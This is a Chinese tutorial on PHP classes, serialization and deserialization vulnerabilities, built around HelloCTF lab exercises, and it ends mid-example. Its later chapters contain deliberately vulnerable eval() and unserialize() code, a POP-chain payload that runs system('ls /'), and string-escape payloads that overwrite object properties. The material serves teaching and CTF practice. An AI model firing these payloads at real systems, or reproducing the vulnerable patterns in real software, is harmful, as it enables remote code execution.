PHP 反序列化
第一章 面向对象
1.1 什么是对象?(重点)
对象就像一个装着个人”信息”和”动作”的小盒子。
你可以把它类比成《无畏契约》里的一个特工,与之而来就引出了两个定义:
属性:盒子里写着的信息,他在Class外有着另一个名字,叫做参数 —> 英雄的名字、位置、血量、护甲、枪械等
方法:盒子里的动作,他在Class外有着另一个名字,叫做函数 —> 英雄能做的技能:闪光弹、烟、探测箭等。
而类(Class) 就像’英雄的模板’。
特工有很多,但是他们只不过名字不同,位置不同,技能不同,所以你可以把类理解为这些英雄共同所有的属性和方法
而对象,则是你在一局游戏里,选择的那个英雄。
学术一点就是:类是对象的模版,对象是类的实例化
其语法结构如下代码所示:
<?php class 类名{ $a = 属性值; //属性 function 函数名(){ } //方法 } ?>
接下来我举一个例子:
假设我们有⼀个名为 Fruit 的类。 Fruit 可以具有名称、颜⾊、重量等属性。我们可以定义 $name、$color 和 $weight 等变量来保存这些属性的值。
创建单个对象(苹果、⾹蕉等)时,它们会继承类的所有属性和⾏为,但每个对象的属性值会有所不同。
通过使用class关键字定义类,后跟类的名称和⼀对⼤括号({})它所有的属性和⽅法都放在⼤括号内。对于上述文字,可以忽略,没有代码更直观。
声明一个fruit的类,它包含两个属性,以及两个用于获取属性的方法。同时类的对象要使用new关键字来创建,若要为类里的属性赋值,则需要使用$this->属性名如下所示:
<?php class fruit{ //属性 public $name; public $color; //⽅法 function set_name($name1){ $this->name=$name1; //为name赋值 } function get_name(){ return $this->name; //获取name的值 } } $a = new fruit(); //创建对象 $b = new fruit(); //创建对象 $a->set_name('Apple'); //为属性赋值 $b->set_name('Banana'); //为属性赋值 echo $a->get_name(); //调用方法 echo "<br>"; echo $b->get_name(); ?>
将代码运行,结果如下图所示:
我们也有两种更改属性值的方法:
在类的内部(通过添加set_name()方法并使用$this)
<?php class Fruit { public $name; function set_name($name) { $this->name = $name; } } $apple = new Fruit(); $apple->set_name("Apple"); ?>
类外(通过直接改变属性值)
<?php class Fruit { public $name; } $apple = new Fruit(); $apple->name = "Apple"; ?>
1.2 为什么选择面向对象?(可忽略)
只需要知道什么是对象,什么是类就可以了。这些是开发中的东西,所以当前阶段可以不必理解,也不需知道。
面向对象(oop)比面向过程的几个优点:
oop执行速度更快,更容易
oop为程序提供了清晰的结构
有助于保持代码dry,不重复,使代码更易于维护、修改调试
可以创建完全可重复使用的,代码更少、开发时间更短
其优点只能在代码量很多的情况下,才可以体现,所以当前阶段是无需理解的。
1.3 访问修饰符(重点)
在php中,对象的属性(也称为类的成员变量)可以使⽤访问修饰符(public、protected、private)来控制其访问权限。访问修饰符决定了类的内部和外部代码是否能够访问和修改这些属性 。
三种访问修饰符:
public:可以从任何地⽅访问属性或⽅法,默认设置
protected:属性和⽅法可以在类的内部以及⼦类中访问
private:属性或者⽅法只能在类中访问
对于上述话,public就相当于,你不给你的电脑上密码,所有人都可以直接打开你的电脑;protected 则相当于,你设置了密码,但是呢告诉了其中一些人你的密码是什么,只有你自己和你告诉的人知道;而private则相当于,你设置了密码,但是谁也没告诉。由此所涉及的子类你便可以理解为:你告诉一些人密码,而这些人就相当于子类,在代码中这叫做继承。没错,就是父母继承给儿女家产的那个继承。
1.3.1 public(公共)属性
public属性是公开的,可以在类的内部和外部访问和修改
访问权限:
类的内部、继承的⼦类、类的外部。
class MyClass { public $name = "John"; // 公开属性 } $obj = new MyClass(); echo $obj->name; // 访问:输出 "John" $obj->name = "Doe"; // 修改 echo $obj->name; // 访问:输出 "Doe"
1.3.2 protected(受保护的)属性
访问权限:
类的内部和继承的⼦类中可以访问和修改 ,不能在类的外部通过对象实例化直接访问。即不能通过new一个对象的形式去访问受保护的属性。所以其只能在出现protected的Class内使用,以及含有extends 含protected的Class使用
1.3.3 private(私有)属性
访问权限:
仅在类的内部可以访问和修改,继承的⼦类和类的外部代码⽆法访问和修改。即只能在含有private的类里使用
1.4 继承(重要)
在前文简单了解了继承的定义以及关键字,现在则需要对它进行一个叙述。其是使用关键字extends定义的,⼦类将从⽗类继承所有的公共和受保护的属性和⽅法,此外,它⾃⼰还可以有⾃⼰的属性和⽅法。如下所示:
<?php class Fruit { public $name; public $color; public function __construct($name, $color) { $this->name = $name; $this->color = $color; } public function intro() { echo "The fruit is {$this->name} and the color is {$this->color}."; echo '<br>'; } } // Strawberry is inherited from Fruit class Strawberry extends Fruit { public function message() { echo "Am I a fruit or a berry? "; echo '<br>'; } } $strawberry = new Strawberry("Strawberry", "red"); $strawberry->message(); $strawberry->intro(); ?>
运行结果图:
1.5 例题
1.5.1 例一
<?php /* --- HelloCTF - 反序列化靶场 关卡 1 : 类的实例化 --- HINT:尝实例化下面的FLAG类吧! # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ class FLAG{ public $flag_string = "HelloCTF{????}"; function __construct(){ echo $this->flag_string; } } $code = $_POST['code']; eval($code);
这里是因为使用了一个魔术方法,下文会说,所以不必抠细节。
1.5.2 例二
<?php /* --- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- HINT:尝试将flag传递出来~ # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ error_reporting(0); $flag_string = "HelloCTF{????}"; class FLAG{ public $free_flag = "???"; function get_free_flag(){ echo $this->free_flag; } } $target = new FLAG(); $code = $_POST['code']; if(isset($code)){ eval($code); $target->get_free_flag(); } else{ highlight_file('source'); }
我们可以分析一下代码
class FLAG{ public $free_flag = "???"; function get_free_flag(){ echo $this->free_flag; } }
类里定义了一个公有属性,以及一个方法,方法是输出$free_flag的值。
在类外
$target = new FLAG(); $code = $_POST['code']; if(isset($code)){ eval($code); $target->get_free_flag(); }
如果$code非空,则利用eval()执行$code并调用FLAG内的方法。
解题思路:所以这个时候我们就要想办法,把flag_string赋值给free_flag于是可以利用类外赋值进行解题。
1.5.3 例三
<?php /* --- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 --- HINT:尝试将flag传递出来~ # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ class FLAG{ public $public_flag = "HelloCTF{?"; protected $protected_flag = "?"; private $private_flag = "?}"; function get_protected_flag(){ return $this->protected_flag; } function get_private_flag(){ return $this->private_flag; } } class SubFLAG extends FLAG{ function show_protected_flag(){ return $this->protected_flag; } function show_private_flag(){ return $this->private_flag; } } $target = new FLAG(); $sub_target = new SubFLAG(); $code = $_POST['code']; if(isset($code)){ eval($code); } else { highlight_file(__FILE__); echo "Trying to get FLAG...<br>"; echo "Public Flag: ".$target->public_flag."<br>"; echo "Protected Flag:".$target->protected_flag ."<br>"; echo "Private Flag:".$target->private_flag ."<br>"; } ?>
分析代码:我们可以发现他定义里两个类,一个类是FLAG,一个类是SubFLAG因为extends的存在,所以说明SubFLAG是FLAG的子类。所以,FLAG类里可以使用public_flag、protected_flag、private_flag而SubFLAG类里只能使用protected_flag、public_flag,在两个类外只能使用public_flag。
注意:可能会有疑问,不是说“在两个类外只能使用public_flag。”为什么其他两个被打印了呢,其实我们调用的是里面的方法,用方法去调用我们的属性,而不是在外部直接访问的。
第二章 PHP序列化与反序列化
2.1 序列化的定义
在php中,序列化是⼀种⽤于将复杂数据结构(如数组、对象等)转换成字符串格式的机制 序列化字符串可以被存储、传输或者夸不同环境共享,⽽后通过反序列化可以恢复成原始php变量或者数据结构 php序列化:使⽤serialize()函数,把对象转化成⼆进制字符串。
这个太抽象了,回到一开始的类比《无畏契约》,如果选英雄的时候都是一堆代码,我们会发现,玩游戏的人看不懂。代码对于没有接触的人类来说,这是一个很难理解的东西,就像,你选择的英雄全是一个个代码,所以序列化的意义在于,让人类可以看懂。
举个例子:
<?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } // “.”表示字符串连接带有修饰符的序列化格式 1、public属性的序列化 } //创建⼀个对象 $usr = new User(); //设置数据 $usr->age = 19; $usr->name = 'wangdun666'; //输出数据 $usr->printdata(); //输出序列化后的数据 echo serialize($usr) ?>
红框部分便是序列化后的结果。我们对其解析
O:4:"User":2 O代表的是对象;4代表的是对象的名字的长度;‘User’则是对象名;其后的"2"则是对象的属性个数,后面紧跟着的大括号里的内容则是属性的名字与参数。 {s:3:"age";i:18;s:4:"name";s:10:"wangdun666";} 我们可以发现,有四个分号,这是因为每两个为一组,每一组代表一个属性。前半部分代表属性的名字,后半部分则是属性的值。 所以's'表示字符串;i表示的是整数型。而其中的3,4,10.则是字符串的长度。'age','name'则是属性名。18和'wangdun666'则是数据的值。
这是共有的属性的序列化结果,那不禁就有疑问,带有修饰符的是什么样子的呢?接下来依旧用一个例子解释
<?php class MyClass { public $publicProp = "public_value"; protected $protectedProp = "protected_value"; private $privateProp = "private_value"; } $object = new MyClass(); echo serialize($object);
这其实是经过浏览器过滤后的结果,实际不是这样,这个时候就需要burip suit(小闪电)抓包。
我们会发现在私有属性和受保护属性的反序列化里,时会出现\0在日常构造中用%00代替\0
O:7:"MyClass":3: {s:10:"publicProp";s:12:"public_value";s:16:"\0*\0protectedProp";s:15:"protected_value";s:2 0:"\0MyClass\0privateProp";s:13:"private_value";}
总结规律:
s:16:"*protectedProp";s:15:"protected_value"; s:表示字符串类型 16:表示属性名⻓度为16 “*protectedProp”:为属性名,前缀 * 表示该属性为protected访问级别 s:16:"*protectedProp";:中16表示字符串⻓度为16,包括protectedProp(13个字符),前缀 * (⼀个字符),星 号•前后•各占⼀个字符 ”publicProp“:值
s:20:"MyClassprivateProp";s:13:"private_value"; 属性名为 MyClassprivateProp,表示该属性是 private 访问级别,前缀为 •类名• + 属性名。 s:25:" MyClassprivateProp"; 中 20 表示字符串⻓度 20,包含了和类名 %00MyClass 和属性名 %00privateProp 。 s:13:"private_value";:表示属性值 private_value ⻓度为 13。
2.2 各属性序列化的差异
属性类型 属性名表示形式 示例 public 属性名 s:13:”publicProp”;s:12:”public_value”; protected * 属性名 s:16:”%00*%00protectedProp”;s:15:”protected_value” private 类名属性名 s:20:”%00MyClass%00privateProp”;s:13:”private_value”;}
2.3 字母所代表的数据类型
a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引⽤ s - non-escaped binary string ⾮转义的⼆进制字符串 S - escaped binary string 转义的⼆进制字符串 C - custom object ⾃定义对象 O - class 对象 N - null 空 R - pointer reference 指针引⽤ U - unicode string Unicode 编码的字符串
2.4 注意
序列化只序列化属性,不序列化⽅法
因为序列化不序列化⽅法,所以序列化之后如果想正常使⽤这个对象的话就必须要依托于这个类要在当前作 ⽤域存在的条件
我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利⽤作⽤域本身存在的⽅法,基于属性发起攻击
2.5 例题
2.5.1 例一
<?php /* --- HelloCTF - 反序列化靶场 关卡 4 : 序列化 --- HINT:嗯!?全是私有,怎么获取flag呢?试试序列化! # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ class FLAG3{ private $flag3_object_array = array("?","?"); } class FLAG{ private $flag1_string = "?"; private $flag2_number = '?'; private $flag3_object; function __construct() { $this->flag3_object = new FLAG3(); } } $flag_is_here = new FLAG(); $code = $_POST['code']; if(isset($code)){ eval($code); } else { highlight_file(__FILE__); }
这一题就是因为私有属性可以被序列化出来,所以便可以输出序列化的结果。如图所示
第三章 反序列化
3.1 定义
php反序列化是指将⼀个可以存储或传输的字符串格式转换成php数据结构(数组、对象等等) 。即,把人类能看懂的语言转化为机器能看懂的。
在PHP中使用unserialize()函数。举个例子:
<?php class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } } //重建对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:10:"wangdun666";}'); //输出数据 $usr->printdata(); ?>
3.2 解决问题(可忽略)
PHP的序列化与反序列化其实是为了解决⼀个问题:
PHP对象传递问题 PHP对象是存放在内存的堆空间段上的,PHP⽂件在执⾏结束的时候会将对象销毁。
如果刚好要⽤到销毁的对象,难道还要再写⼀遍代码?
所以为了解决这个问题就有了PHP的序列化和反序列化 从上⽂可以发现,我们可以把⼀个实例化的对象⻓久的存储在计算机磁盘上,需要调⽤的时候只需反序列化出来即 可使⽤
3.3 例题
3.3.1 例一
<?php /* --- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 --- HINT:各有千秋~ # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ class a_class{ public $a_value = "HelloCTF"; } $a_object = new a_class(); $a_array = array(a=>"Hello",b=>"CTF"); $a_string = "HelloCTF"; $a_number = 678470; $a_boolean = true; $a_null = null; See How to serialize: a_object: O:7:"a_class":1:{s:7:"a_value";s:8:"HelloCTF";} a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";} a_string: s:8:"HelloCTF"; a_number: i:678470; a_boolean: b:1; a_null: N; Now your turn! <?php $your_object = unserialize($_POST['o']); $your_array = unserialize($_POST['a']); $your_string = unserialize($_POST['s']); $your_number = unserialize($_POST['i']); $your_boolean = unserialize($_POST['b']); $your_NULL = unserialize($_POST['n']); if( $your_boolean && $your_NULL == null && $your_string == "IWANT" && $your_number == 1 && $your_object->a_value == "FLAG" && $your_array['a'] == "Plz" && $your_array['b'] == "Give_M3" ){ echo $flag; } else{ echo "You really know how to serialize?"; }
分析:对于这个代码,我们可以发现
他将反序列化后的结果去和
$your_boolean && $your_NULL == null && $your_string == "IWANT" && $your_number == 1 && $your_object->a_value == "FLAG" && $your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
这些参数去比较,如果相同,则执行下面的语句,反之则输出,You really know how to serialize? 所以,我们需要在 序列化里的东西进行传参。
3.3.2 例二
<?php /* --- HelloCTF - 反序列化靶场 关卡 6 : 序列化规则_权限修饰 --- HINT:各有千秋~特别注意的权限修饰符x # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ class protectedKEY{ protected $protected_key; function get_key(){ return $this->protected_key; } } class privateKEY{ private $private_key; function get_key(){ return $this->private_key; } } See Carfully~ protected's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D private's serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D <?php $protected_key = unserialize($_POST['protected_key']); $private_key = unserialize($_POST['private_key']); if(isset($protected_key)&&isset($private_key)){ if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){ echo $flag; } else { echo "We Call it %00_Contr0l_Characters_NULL!"; } } else { highlight_file(__FILE__); }
分析代码:
if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){ echo $flag;
在这里我们反序列化的结果需要与等式相同,才会输出$flag,所以,构造payload
<?php class protectedKEY{ protected $protected_key='protected_key'; } class privateKEY{ private $private_key='private_key'; } echo urlencode(serialize(new protectedKEY())); echo urlencode(serialize(new privateKEY()));
第三章 php魔术对象
__construct() //类的构造函数,创建对象时触发 __destruct() //类的析构函数,对象被销毁时触发 __call() //在对象上下⽂中调⽤不可访问的⽅法时触发 __callStatic() //在静态上下⽂中调⽤不可访问的⽅法时触发 __get() //读取不可访问属性的值时,这⾥的不可访问包含私有属性或未定义 __set() //在给不可访问属性赋值时触发 __isset() //当对不可访问属性调⽤ isset() 或 empty() 时触发 __unset() //在不可访问的属性上使⽤unset()时触发 __invoke() //当尝试以调⽤函数的⽅式调⽤⼀个对象时触发 __sleep() //执⾏serialize()时,先会调⽤这个⽅法 __wakeup() //执⾏unserialize()时,先会调⽤这个⽅法 __toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)⾃动调⽤
魔术⽅法(Magic Methods),是⼀类以双下划线(__)开头的特殊⽅法,php预定义的,允许在对象特定操作中执⾏特 殊逻辑,魔术⽅法通常是⾃动调⽤的,且不需要显示调⽤,主要⽤于拦截特定的操作(属性访问、⽅法调⽤、对象 销毁)提供灵活的⾏为控制.
3.1 __construct()和__destruct()
__construct():是对象的构造⽅法,⽤于在对象实例化时进⾏初始化操作
__destruct():析构函数,在对象销毁时⾃动调⽤
<?php highlight_file(__FILE__); header('Content-Type: text/html; charset=utf-8'); class Person { public $name; // 构造⽅法,当对象被实例化时⾃动调⽤。 public function __construct($name) { echo "__construct 初始化"."<br>"; $this->name = $name; echo "Constructing Person: " . $this->name . "<br>"; } // 析构⽅法,当对象被销毁时⾃动调⽤。 public function __destruct() { echo "__destruct 类执⾏完毕"."<br>"; echo "Destructing Person: " . $this->name . "<br>"; } } $person = new Person("ZhangSan"); unset($person); // 显式销毁对象,执⾏__destruct() echo "执⾏完毕"."<br>"; // 如果不销毁对象,在代码执⾏结束时,也会执⾏__destruct() 输出: __construct 初始化 Constructing Person: ZhangSan __destruct 类执⾏完毕 Destructing Person: ZhangSan 执⾏完毕
3.2 __sleep() 和 __wakeup()
sleep()⽅法:当对象被序列化时⾃动调⽤,⽤于指定需要序列化的属性,并释放不必要的资源 wakeup()⽅法:当对象被反序列化时⾃动调⽤,⽤于重新初始化属性或者资源(⽐如:恢复数据库连接)
<?php header('Content-Type: text/html; charset=utf-8'); highlight_file(__FILE__); class User { public $name; public $email; private $dbConnection; public function __construct($name, $email) { $this->name = $name; $this->email = $email; $this->dbConnection = $this->connectToDatabase(); // 模拟数据库连接 } // 模拟数据库连接 private function connectToDatabase() { return "Database connection established"; } // 当对象被序列化时⾃动调⽤ public function __sleep() { echo "Serializing object...<br>"; // 关闭数据库连接(释放资源) $this->dbConnection = null; // 只序列化 name 和 email 属性 return ['name', 'email']; } // 当对象被反序列化时⾃动调⽤ public function __wakeup() { echo "Unserializing object...<br>"; // 恢复数据库连接 $this->dbConnection = $this->connectToDatabase(); } // 打印对象状态 public function showInfo() { echo "Name: " . $this->name . "<br>"; echo "Email: " . $this->email . "<br>"; echo "DB Connection: " . $this->dbConnection . "<br>"; } } $user = new User("LiSi", "lisi@example.com"); // 序列化对象,__sleep() 会被⾃动调⽤ $serializedUser = serialize($user); echo "Serialized String: " . $serializedUser . "<br>"; // 反序列化对象,__wakeup() 会被⾃动调⽤ $unserializedUser = unserialize($serializedUser); $unserializedUser->showInfo(); ?>
3.3 __get()和__set()
__get():读取不可访问属性时触发
__set() :写⼊不可访问属性时触发
<?php header('Content-Type: text/html; charset=utf-8'); highlight_file(__FILE__); class Student { private $data = []; // 写⼊对象中不可访问(未定义或私有)的属性时触发 // 该⽅法接收两个参数: // $name:被设置的属性名(name)。 // $value:被设置的属性值("ZhangSan")。 public function __set($name, $value) { echo "Setting '$name' to '$value'\n"; $this->data[$name] = $value; } // 读取对象中不可访问(未定义或私有)的属性时触发 public function __get($name) { echo "Getting '$name'\n"; return isset($this->data[$name]) ? $this->data[$name] : null; } } $student = new Student(); $student->name = "ZhangSan"; // 调⽤ __set() 为__set($name, $value)赋值 echo $student->name . PHP_EOL; // 调⽤ __get()
3.4 __call()和__callStatic()
__call:当对对象实例调⽤⼀个不存在或者不可访问的静态⽅法时,触发
__callStatic():当对类名调⽤⼀个不存在或者不可访问的静态⽅法时,PHP会调⽤
<?php header('Content-Type: text/html; charset=utf-8'); highlight_file(__FILE__); class Test { // 当调⽤对象中不存在或不可访问的⾮静态⽅法时触发 public function __call($method, $args) { echo "调⽤了⾮静态⽅法: $method\n"; echo "参数: " . implode(', ', $args) . "\n"; } // 当调⽤对象中不存在或不可访问的静态⽅法时触发 public static function __callStatic($method, $args) { echo "调⽤了静态⽅法: $method\n"; echo "参数: " . implode(', ', $args) . "\n"; } } // 实例化对象 $obj = new Test(); // 触发 __call() $obj->undefinedMethod('hello', 123); // 触发 __callStatic() Test::undefinedStaticMethod('world', 456);
区分静态⽅法
定义: ⾮静态:function 静态:Static function 调⽤: ⾮静态:$obj->xxx() 静态:calss::xxx() 是否能⽤$this ⾮静态:能⽤ 静态:不能⽤
3.5 isset() 和 unset()
isset() :当对不可访问属性调⽤ isset()或empty()时触发
unset() :在不可访问的属性上使⽤ unset()时触发
<?php header('Content-Type: text/html; charset=utf-8'); highlight_file(__FILE__); class User { private $data = []; public function __set($name, $value) { $this->data[$name] = $value; } // 当尝试⽤ isset()/empty() 检查属性时触发 public function __isset($name) { echo "__isset($name) 被调⽤\n"; return isset($this->data[$name]); } // 当尝试⽤ unset() 删除属性时触发 public function __unset($name) { echo "__unset($name) 被调⽤\n"; unset($this->data[$name]); } // 序列化时决定保存哪些属性 public function __sleep() { echo "序列化时调⽤ __sleep()\n"; // 如果属性未被 unset() 删除,则保留 return ['data']; } // 反序列化后初始化 public function __wakeup() { echo "反序列化后调⽤ __wakeup()\n"; } } $user = new User(); // 动态设置属性(实际存⼊ $data 数组) $user->name = "WangWu"; // 触发 __isset('name') var_dump(isset($user->name)); // 输出 true // 触发 __unset('name') unset($user->name); // 序列化时只会保存 $data 的当前状态 $serialized = serialize($user); // 输出 __sleep() // 反序列化后 $data 为空数组 $restored = unserialize($serialized); // 输出 __wakeup() ?>
3.6 __toString()
__toString():允许在对象被转换成字符串⾃定输出时,常⽤于调试或⽇志记录
<?php header('Content-Type: text/html; charset=utf-8'); highlight_file(__FILE__); class Book { private $bookTitle; public function __construct($name) { $this->bookTitle = $name; } public function __toString() { return "Book title: " . $this->bookTitle; } } $book = new Book("PHP Magic Methods"); echo $book; // 调⽤ __toString() ?>
3.7 __invoke()
__invoke()允许对象像函数⼀样被调⽤
<?php header('Content-Type: text/html; charset=utf-8'); highlight_file(__FILE__); class CallableClass { public function __invoke($x) { return $x * $x; } } $obj = new CallableClass(); echo $obj(5); // 调⽤ __invoke() ?> <?php class getName { public function __invoke($id,$name) { echo "这是⼀个对象<br>"; var_dump($id,$name); } } $obj = new getName(); echo $obj(5,"B0njour"); // 调⽤ __invoke() ?>
3.8 __clone()
__clone()⽅法在对象被克隆时调⽤,⽤于实现深拷⻉或进⾏⾃定义操作。
<?php header('Content-Type: text/html; charset=utf-8'); highlight_file(__FILE__); class Prototype { public $name; public function __construct($name1) { $this->name = $name1; } public function __clone() { echo "Cloning object: " . $this->name . PHP_EOL; } } $original = new Prototype("Test"); $cloned = clone $original; // 调⽤ __clone() ?>
第四章 反序列化漏洞
指在处理⽤户可控的序列化数据时,由于数据的反序列过程中可能会存在安全隐患,导致攻击者可以控制对象的属 性、触发对象的敏感⽅法,甚⾄可能导致远程代码执⾏
1、过度信任⽤户输⼊的数据
如果将⽤户可控的数据(如表单输⼊、URL 参数、Cookie 值)传递给unserialize() ,⽽没有进⾏严格的验 证,则攻击者可以构造恶意序列化字符串,⽣成带有恶意属性的对象。
2、利⽤类的魔术⽅法和属性操作
在反序列化时,如果类中定义了特定的魔术⽅法(如wakeup() 、 destruct() )或者存在危险的属性操作 (如⽂件操作、数据库查询等),攻击者可以通过构造特定的对象来触发这些⽅法或操作,达到恶意⽬的。
3、对象注⼊攻击
通过反序列化,攻击者可以创建任意对象,并控制这些对象的内部属性和状态。由于对象状态被恶意修改,可能导 致逻辑漏洞,如权限绕过、认证绕过、命令执⾏等
4、PHP 特有的类属性:
在 PHP 中,反序列化不仅会还原对象的属性,还会⾃动调⽤某些魔术⽅法(如__wakeup() )。如果类定义 了危险操作(如删除⽂件、执⾏命令),那么在反序列化时,这些操作可能被⾃动执⾏。
第五章 POP链
<?php highlight_file(__FILE__); error_reporting(0); class index { private $test; public function __construct(){ $this->test = new normal(); } public function __destruct(){ $this->test->action(); } } class normal { public function action(){ echo "please attack me"; } } class evil { var $test2; public function action(){ eval($this->test2); } } unserialize($_GET['test']);
思路分析:
在index类中, __destruct()⽅法调⽤了$this->test->action();
normal 类中的成员⽅法 action() 执⾏了echo,没有实际危害
如果 test 对象能够执⾏ evil 类的成员⽅法 action() ,则能够执⾏ eval($this->test2)
<?php class index { private $test; public function __construct(){ $this->test = new evil(); } } class evil { var $test2="system('ls /');"; } $pop = new index(); echo urlencode(serialize($pop)); payload: O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7 Bs%3A5%3A%22test2%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D%7D
第六章 字符串逃逸
⼩知识点:反序列化的过程就是碰到 ;} 与最前⾯的 { 配对后,停⽌反序列化
序列化结果:
O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}
修改序列化后的数据
O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahaha $data = 'O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahaha';
在对其反序列化
$data = 'O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahaha'; print_r(unserialize($data));
输出对象
Test Object ( [a] => aa [b] => bbb [c] => cccc )
成功进⾏了反序列化操作,并且没有出现报错,因此可以说明反序列化以;}为结束标志,后⾯的内容则忽略不管
6.1 字符串增加
反序列化过程中,会使⽤preg_replace函数替换关键字符,会使得关键字符增多或减少
<?php highlight_file(__file__); function filter($str){ return str_replace('l', 'll', $str); } class person{ public $name= 'lonmar'; public $age = '100'; } $test = new person(); $test = serialize($test); echo "</br>"; print_r($test); echo "</br>"; $test = filter($test); print_r($test); echo "</br>"; print_r(unserialize($test));
输出
O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"100";} O:6:"person":2:{s:4:"name";s:6:"llonmar";s:3:"age";s:3:"100";}
其中O:6:"person":2:{s:4:"name";s:6:"llonmar";s:3:"age";s:3:"100";}⽆法正常反序列化 因为属性值实际⻓度为7,描述⻓度为6。
如果把 $name='lonmar";s:3:"age";s:3:"100";}'
O:6:"person":2:{s:4:"name";s:29:"lonmar";s:3:"age";s:3:"100";}";s:3:"age";s:3:"100";} O:6:"person":2:{s:4:"name";s:29:"llonmar";s:3:"age";s:3:"100";}";s:3:"age";s:3:"100";}
其中 O:6:"person":2:{s:4:"name";s:6:"llonmar";s:3:"age";s:3:"100";} ⽆法正常反序列化
因为替换过后,第⼀个属性值实际⻓度为7,⽽描述⻓度为6,少读了⼀个r,所以反序列化失败
如果令 $name='lonmar";s:3:"age";s:2:"35";}'
即源代码修改为:
<?php highlight_file(__file__); function filter($str){ return str_replace('l', 'll', $str); } class person{ public $name= 'lonmar";s:3:"age";s:2:"35";}'; public $age = '100'; } $test = new person(); $test = serialize($test); echo "</br>"; print_r($test); echo "</br>"; $test = filter($test); print_r($test); echo "</br>"; print_r(unserialize($test));
输出结果:
O:6:"person":2:{s:4:"name";s:28:"lonmar";s:3:"age";s:2:"35";}";s:3:"age";s:3:"100";} O:6:"person":2:{s:4:"name";s:28:"llonmar";s:3:"age";s:2:"35";}";s:3:"age";s:3:"100";}
同样⽆法反序列化
为了保证正常反序列化
name 值的⻓度需要添加payload";s:3:"age";s:2:"35";} ⻓度相等,即22位
所有根据 str_replace(‘l’, ‘ll’, $str); ,需要有22个 l
构造payload
class person{ public $name = 'llllllllllllllllllllllonmar";s:3:"age";s:2:"35";}'; public $age = '100'; }
执行结果为:
string(105) "O:6:"person":2: {s:4:"name";s:49:"llllllllllllllllllllllonmar";s:3:"age";s:2:"35";}";s:3:"age";s:3:"100"; }" string(127) "O:6:"person":2: {s:4:"name";s:49:"llllllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:2:"35";} ";s:3:"age";s:3:"100";}" object(person)#1 (2) { ["name"]=> string(49) "llllllllllllllllllllllllllllllllllllllllllllonmar" ["age"]=> string(2) "35" }
成功反序列化,且 age 值被修改
序列化之后 $name='lonmar";s:3:"age";s:3:"1000";}'; //29位 因为反序列化的过程就是碰到;}与最前⾯的{配对后,停⽌反序列化 O:6:"person":2:{s:4:"name";s:29:"lonmar";s:3:"age";s:3:"100";}";s:3:"age";s:3:"100";} ";s:3:"age";s:3:"100";}:多出来的,会忽略 忽略后: O:6:"person":2:{s:4:"name";s:29:"lonmar";s:3:"age";s:3:"100";} O:6:"person":2: {s:4:"name";s:57:"lllllllllllllllllllllllllllllonmar";s:3:"age";s:3:"100";}";s:3:"age";s: 3:"100";} O:6:"person":2: {s:4:"name";s:57:"llllllllllllllllllllllllllllllllllllllllllllllllllllllllllonmar";s:3:"a ge";s:3:"100";}
6.2 字符串减少
<?php error_reporting(0); highlight_file(__FILE__); class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('admin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadm 